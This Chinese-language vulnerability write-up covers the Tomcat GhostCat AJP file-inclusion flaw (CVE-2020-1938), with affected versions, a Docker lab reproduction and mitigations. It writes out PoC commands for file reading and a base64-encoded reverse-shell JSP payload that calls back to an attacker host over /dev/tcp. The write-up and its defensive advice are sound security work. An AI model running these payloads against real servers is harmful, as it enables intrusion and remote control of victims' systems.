Tomcat AJP文件包含漏洞(CVE-2020-1938)
字数 1531 2025-08-11 17:40:32

Tomcat AJP文件包含漏洞(CVE-2020-1938)深度分析与防护指南

一、漏洞概述

CVE-2020-1938(又名GhostCat)是由长亭科技安全研究员发现的Apache Tomcat服务器中的高危安全漏洞。该漏洞源于Tomcat在处理AJP协议请求时存在设计缺陷,导致攻击者能够读取或包含Tomcat上所有webapp目录下的任意文件,在特定条件下甚至可实现远程代码执行(RCE)。

二、漏洞原理分析

1. 漏洞成因

Tomcat在处理AJP请求时未对请求进行充分验证,攻击者可通过设置AJP连接器封装的request对象的属性,导致:

  • 任意文件读取漏洞:可读取webapp目录下的任意文件(如配置文件、源代码)
  • 代码执行漏洞:配合文件上传功能可实现远程代码执行

2. 技术细节

漏洞涉及两个关键配置文件:

  • conf/server.xml:定义Tomcat启动时的组件属性,包含两个Connector:

    • HTTP Connector(默认监听8080端口)
    • AJP Connector(默认监听8009端口)
  • conf/web.xml:定义Tomcat内建的servlet,特别是:

    • Default Servlet:处理所有未被匹配到其他servlet的URL请求
    • JSP Servlet:处理以.jsp/.jspx为后缀的URL请求

3. Tomcat架构相关组件

  • Connector:接收客户端请求,解析后交由Container处理
  • Container:包含多个Host(虚拟主机),每个Host对应一个域名
  • Host:可包含多个Context(web应用)
  • Context:包含多个Wrapper(与servlet一一对应)

三、影响范围

受影响的Tomcat版本:

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x(仅文件读取影响)

四、漏洞复现

1. 环境搭建

使用Docker快速搭建测试环境:

cd CVE-2020-1938/
docker-compose up -d

2. 文件读取利用

使用POC脚本读取敏感文件(如web.xml):

python2 CNVD-2020-10487-Tomcat-Ajp-lfi/1.py 192.168.111.133 -p 8009 -f /WEB-INF/web.xml

3. 远程代码执行(RCE)利用

前提条件:目标系统存在文件上传漏洞

步骤

  1. 准备反弹shell payload(Base64编码):

    echo "bash -i >& /dev/tcp/192.168.111.129/4444 0>&1" | base64
    
  2. 创建恶意JSP文件(cmd.txt):

    <%Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}");%>
    
  3. 上传文件到目标服务器:

    docker cp cmd.txt 6900d2621470:/usr/local/tomcat/webapps/ROOT
    
  4. 在攻击机开启监听:

    nc -lvvp 4444
    
  5. 利用漏洞执行恶意文件:

    python3 ajpShooter.py http://192.168.111.133 8009 /cmd.txt eval
    

五、防护措施

1. 官方修复方案

立即升级到以下安全版本:

  • Tomcat 9.x → 9.0.31+
  • Tomcat 8.x → 8.5.51+
  • Tomcat 7.x → 7.0.100+

2. 临时缓解措施

方案一:禁用AJP协议

  1. 编辑conf/server.xml
  2. 找到并注释/删除以下行:
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
    
    修改为:
    <!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
    

方案二:配置AJP认证

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" 
           address="YOUR_TOMCAT_IP_ADDRESS" 
           secret="YOUR_TOMCAT_AJP_SECRET"/>

注:将YOUR_TOMCAT_AJP_SECRET设置为高强度随机值

3. 其他安全建议

  1. 限制AJP连接器的监听地址(仅允许可信IP访问)
  2. 定期审计webapp目录下的文件权限
  3. 实施严格的输入验证和输出编码
  4. 部署WAF等防护设备拦截恶意请求

六、参考资源

  1. 漏洞POC:

    • https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
    • https://github.com/00theway/Ghostcat-CNVD-2020-10487
  2. 官方安全公告:

    • Apache Tomcat官方安全更新页面
  3. 漏洞分析文章:

    • 长亭科技技术博客
    • FreeBuf漏洞分析专栏
Tomcat AJP文件包含漏洞(CVE-2020-1938)深度分析与防护指南 一、漏洞概述 CVE-2020-1938(又名GhostCat)是由长亭科技安全研究员发现的Apache Tomcat服务器中的高危安全漏洞。该漏洞源于Tomcat在处理AJP协议请求时存在设计缺陷,导致攻击者能够读取或包含Tomcat上所有webapp目录下的任意文件,在特定条件下甚至可实现远程代码执行(RCE)。 二、漏洞原理分析 1. 漏洞成因 Tomcat在处理AJP请求时未对请求进行充分验证,攻击者可通过设置AJP连接器封装的request对象的属性,导致: 任意文件读取漏洞:可读取webapp目录下的任意文件(如配置文件、源代码) 代码执行漏洞:配合文件上传功能可实现远程代码执行 2. 技术细节 漏洞涉及两个关键配置文件: conf/server.xml :定义Tomcat启动时的组件属性,包含两个Connector: HTTP Connector(默认监听8080端口) AJP Connector(默认监听8009端口) conf/web.xml :定义Tomcat内建的servlet,特别是: Default Servlet:处理所有未被匹配到其他servlet的URL请求 JSP Servlet:处理以.jsp/.jspx为后缀的URL请求 3. Tomcat架构相关组件 Connector :接收客户端请求,解析后交由Container处理 Container :包含多个Host(虚拟主机),每个Host对应一个域名 Host :可包含多个Context(web应用) Context :包含多个Wrapper(与servlet一一对应) 三、影响范围 受影响的Tomcat版本: Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x(仅文件读取影响) 四、漏洞复现 1. 环境搭建 使用Docker快速搭建测试环境: 2. 文件读取利用 使用POC脚本读取敏感文件(如web.xml): 3. 远程代码执行(RCE)利用 前提条件 :目标系统存在文件上传漏洞 步骤 : 准备反弹shell payload(Base64编码): 创建恶意JSP文件(cmd.txt): 上传文件到目标服务器: 在攻击机开启监听: 利用漏洞执行恶意文件: 五、防护措施 1. 官方修复方案 立即升级 到以下安全版本: Tomcat 9.x → 9.0.31+ Tomcat 8.x → 8.5.51+ Tomcat 7.x → 7.0.100+ 2. 临时缓解措施 方案一:禁用AJP协议 编辑 conf/server.xml 找到并注释/删除以下行: 修改为: 方案二:配置AJP认证 注:将YOUR_ TOMCAT_ AJP_ SECRET设置为高强度随机值 3. 其他安全建议 限制AJP连接器的监听地址(仅允许可信IP访问) 定期审计webapp目录下的文件权限 实施严格的输入验证和输出编码 部署WAF等防护设备拦截恶意请求 六、参考资源 漏洞POC: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi https://github.com/00theway/Ghostcat-CNVD-2020-10487 官方安全公告: Apache Tomcat官方安全更新页面 漏洞分析文章: 长亭科技技术博客 FreeBuf漏洞分析专栏